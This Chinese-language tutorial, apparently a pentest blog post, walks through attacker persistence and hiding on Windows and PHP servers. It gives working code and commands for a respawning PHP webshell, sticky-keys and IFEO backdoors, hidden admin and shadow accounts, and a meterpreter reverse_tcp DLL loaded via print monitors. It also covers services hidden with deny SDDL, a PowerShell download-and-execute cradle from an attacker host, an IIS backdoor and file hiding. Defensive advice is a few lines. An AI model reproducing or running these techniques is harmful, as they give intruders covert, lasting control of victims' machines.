目录
php 不死马权限维持
使用如下代码:
<?php
ignore_user_abort();
//关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);
//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5;
// 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
} else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
}
while (true);
?>
把这个php文件放到网站中,然后访问它。就会生成一个恶意文件,如果不死马检测到恶意文件不在了,每隔一定时间(此处是5秒)就会重新生成它。只有重启web服务的时候,删除掉不死马才能结束恶意文件的生成。
一些花活:
设置不死马的权限:
映像劫持
cmd窗口中输入:regedit
打开注册表,之后来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
,新建一个“项”,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建了一个asuka.exe
然后在asuka.exe
的右侧新建一个字符串值Debugger
,在输入值的栏目中填入你的后门绝对路径,我这里以cmd.exe为例。
攻击:
我随意找了一个文件,将其改名为asuka.exe
,一旦运行它,cmd就被打开了。
策略组脚本权限维持
利用思路:借助组策略实现开机自动运行某恶意文件
- 准备恶意文件
我这里准备一个bat文件,实现添加管理员组用户的操作
net user asuka 123.comCOM /add & net localgroup administrators asuka /add
然后把这个文件丢到开机启动项的文件夹中:C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
- 打开组策略
cmd中输入gpedit.msc
打开组策略,打开“windows设置”- “脚本(启动/关机)”,添加脚本。
- 重启靶机
- 检查当前用户有哪些,发现已经添加了asuka用户
shift后门
原理:连按5次shift键时,电脑会运行一个叫“粘滞键”的程序,我们只需要偷梁换柱,替换掉“粘滞键”程序即可实现连按5次shift键运行其他程序。这种手法常见的一个用途是连按5次shift键运行cmd,实现破解windows开机登录限制。
让“粘滞键”程序消失。我这里不希望删除它,重命名它即可
“粘滞键”程序的绝对路径:C:\windows\system32\sethc.exe
尝试改名失败,权限不足,需要解除权限限制
- 更改sethc.exe拥有者 为administrator
- 赋予管理员对此文件的完全权限
- 更改“粘滞键”的名字,然后拿cmd来替代它,为方便截图演示,这里使用命令行操作。
move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
- 展示效果,连按5次shift键,出现了一个以管理员身份运行的cmd窗口
建立影子账号
原理:在目标系统上添加一个账号,通过修改注册表的方式让它不易被人发现
关于影子账号的解释参见:什么是影子帐户,有什么危害?如何删除影子帐户?
背景
通常在拿到服务器后会创建一个带$
符号的隐藏账户,在cmd下是法查看到,但是通过“管理用户”或者“本地用户和组”可以看到,通过创建影子账户可以完全解决这种问题。
解决注册表显示问题
cmd输入regedit
打开注册表,找到以下路径HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users,注意有些人可能到HKEY_LOCAL_MACHINE\SAM\SAM\就无法打开了 ,此时,鼠标右击箭头指示的位置,点击权限然后选中Administrators,然后点击完全控制,最后点击应用,确定,之后关闭注册表,重新打开,上面的路径就会显示了。
实操
3ea
是lainwith$
用户,1F4
是超级管理员,将1F4
下F
项的值复制到3ea
下F
项里面,替换原有数据。然后导出lainwith$
以及3ea
。
之后使用ner user lainwith$ /del
删除这个用户,再双击注册表导入它。 于是我们只能通过注册表才能发现他。
- 获取超级管理员的F值
- 覆盖掉
lainwith$
的F值
- 导出
lainwith$
以及3ea
- 在“计算机管理”-“本地用户和组”中删除它,使用命令也行
- 双击刚才导出的2个注册表
- 尝试查看它
普通方式查看不到,但是通过注册表可以
- 测试账号能不能用
靶机开启远程桌面,攻击者尝试连接
防御
检查这种攻击的方法很简单,下载个D盾就行
powershell配置文件后门
原理:Powershell配置文件其实就是一个powershell脚本,它可以在每次运行powershell的时候自动运行,所
以可以通过向该文件写入自定义的语句用来长期维持权限。这里我打算实现一个运行powshell就添加用户的操作。
首先查看当前是否存在配置文件:
echo $profile # 查看配置文件路径
Test-path $profile # 返回Fase的话就需要创建一个
- 准备一个bat恶意文件:net user lain 123.comCOM /add & net localgroup administrators lain /add
- 创建一个配置文件:
New-Item -Path $profile -Type File –Force
- 把恶意文件添加到一个字符串里面,字符串再导入到powshell配置文件,最后确认一下导入成功了
$string = 'Start-Process "C:\Users\Administrator\Desktop\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile
实操一下,打开powshell的一瞬间,有运行bat文件的cmd黑窗口闪过,然后就能看到有了一个新用户lain
Monitor 权限维持
原理:主要通过此项目实现一个白加黑的方式,此项目为白,我们创建的dll文件为黑,再通过注册表建立值,从而实现我们持续化的权限维持。
使用说明在项目地址中介绍的很清楚,项目地址:https://github.com/Al1ex/Monitor
攻击演示
- kali生成恶意dll文件,并开启监听
注:这里dll文件名是因为直接拿项目编译好的exe文件使用,而pDLLName
,即监视器DLL文件的名称是test.dll,所以这里需要与源码里面写的名称一致,如自行编译,那么文件名称可更改。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f dll > test.dll
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.40.129
set LPORT 4444
exploit
- 投递恶意文件
下载项目,直接使用编译好的exe文件,位于:Monitor-master\x64\Release\Monitor.exe
,将此文件,连带着生成的恶意dll文件一起丢到靶机的 C:\Windows\System32
目录中。
- 运行Monitor.exe就会连接msf
持久化
拿session的思路既然是运行Monitor.exe,那么所谓的权限维持就是修改注册表,让靶机只要一开机就会运行Monitor.exe。
- 修改注册表
作者提供了修改注册表的命令:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
之后就可以在注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors看到结果
- 验证效果
- kali清空所有session:
sessions -K
,然后重新开始监听 - 重启靶机
- kali清空所有session:
利用安全描述符隐藏服务后门
直接注册为自启动服务
将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来创建。
获取恶意文件
- 使用cs生成恶意文件
- 把恶意文件投递到靶机上面(文件需要做免杀)
创建服务
.NET CLR Networking 3.5.0.0
是随便起的一个名字,用来混淆视听
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\Administrator\artifact.exe" depend= Tcpip obj= Localsystem start= auto
刚创建好的时候,服务是“已停止”状态,使用sc query | findstr ".NET CLR Networking 3.5.0.0"
不能查询到相关服务
运行服务
一旦运行服务,就能使用sc query
查询到相关服务,并且CS上线
稍等片刻后,服务的状态会由“正在启动”变为“已停止”,并出现一个报错的弹框。
通过修改SDDL(安全描述符)隐藏服务
隐藏服务
众所周知,windows访问控制模型分为两部分:
- access token(访问令牌)
- 安全描述符
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:
- 对象的所有者和主要组的 Sid(安全标识符)。
- 用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
- 指定为对象生成审核记录的访问尝试类型的 SACL 。
- 一组限制安全描述符或其各个成员的含义的控制位。
windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:
- 隐藏服务
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
- 查询不到服务
sc query | findstr ".NET CLR Networking 3.5.0.0"
get-service | findstr ".NET CLR Networking 3.5.0.0"
- 直接根据服务名查询服务,被拒绝
sc query ".NET CLR Networking 3.5.0.0"
net start ".NET CLR Networking 3.5.0.0"
看网上别人可以这样上线,但是我这里没有。
修改注册表ACL
上面一通操作的后果是,注册表的值出现异常: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.NET CLR Networking 3.5.0.0
我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果,这里给出一个通过powershell修改注册表项的访问权限的简单脚本:
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
kali开启web服务,靶机远程加载:
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.40.129:8000/1.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"
再打开注册表,就看不到奇怪的值了
重启CS(主要是清空一下历史日志记录,方便截图展示),重启靶机,CS可以上线。
iis后门
web服务器上一般都支持net,所以可以考虑利用net iis做一个后门。
iis环境准备
- 关闭防火墙
- 关闭烦人的IE增强
- 安装iis
点击“管理”-“添加角色和功能”,一路下一步来到“服务器角色”,直接勾选“web服务器”(弹出框的内容不用管,直接确定下一步)和“应用程序服务器”
之后一路下一步,来到“角色服务”,勾选“web服务器(IIS)支持”(弹出框的内容不用管,直接确定下一步),然后一路下一步,直至“安装”
安装完毕后,再次打开,来到“服务器角色”,在“web服务器(IIS)”-“web服务器”-“应用程序开发”中,可以全部勾选,我这里不需要CGI,没勾选。之后就是一路下一步。
访问一下试试,没问题
操作
使用的项目地址:https://github.com/WBGlIl/IIS_backdoor
一般来说iis服务器都是由bin目录的,我这里刚搭建好的啥也没装,没有这么目录。
- 投递dll文件
靶机新建bin目录,把项目中的IIS_backdoor-master\bin\IIS_backdoor_dll.dll
文件丢到靶机中
- 投递config文件
把项目中的IIS_backdoor-master\bin\web.config
文件丢到靶机中web目录中
- 攻击
运行IIS_backdoor-master\bin\IIS_backdoor_shell.exe
就可以运行命令了
windows 隐藏技术
使用Attrib +s +a +h +r
命令,把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和
隐藏文件属性。这样就就很难查看到文件了。这里拿webshell来演示效果。
普通情况下:
虽然无法通过查看“隐藏的项目”看到为文件,但是可以通过查看隐藏文件的命令查看到:dir /a
不使用命令行也行,修改一下文件夹设置即可看到隐藏的文件了。
驱动级文件隐藏
我们可以用过一些软件来实现驱动隐藏,软件名字叫:Easy File Locker,下载链接:http://xoslab.com/efl.html
文件的使用参见:免费文件夹隐藏与保护工具 Easy File Locker (让文件隐藏或不被随意删除)
操作
- 添加隐藏文件
其中Accessable是“可以访问”、Wirtable是“可以写”(覆盖、移动等操作)、Deletable是“可删除”、Visible是“可见”,也就是隐不隐藏的意思了,打钩表示允许。
- 隐藏的效果很好,常规手段已经查看不到了。
- 访问隐藏的文件,没问题,可以访问
防御
- 查询服务状态:
sc qc xlkfs
- 停止服务:
net stop xlkfs
,服务停止以后,刷新一下文件夹,经驱动级隐藏的文件即可显现。
- 删除服务:
sc delete xlkfs
删除服务之后,已经查询不到服务了,并且软件的按钮即便点击也没反应了。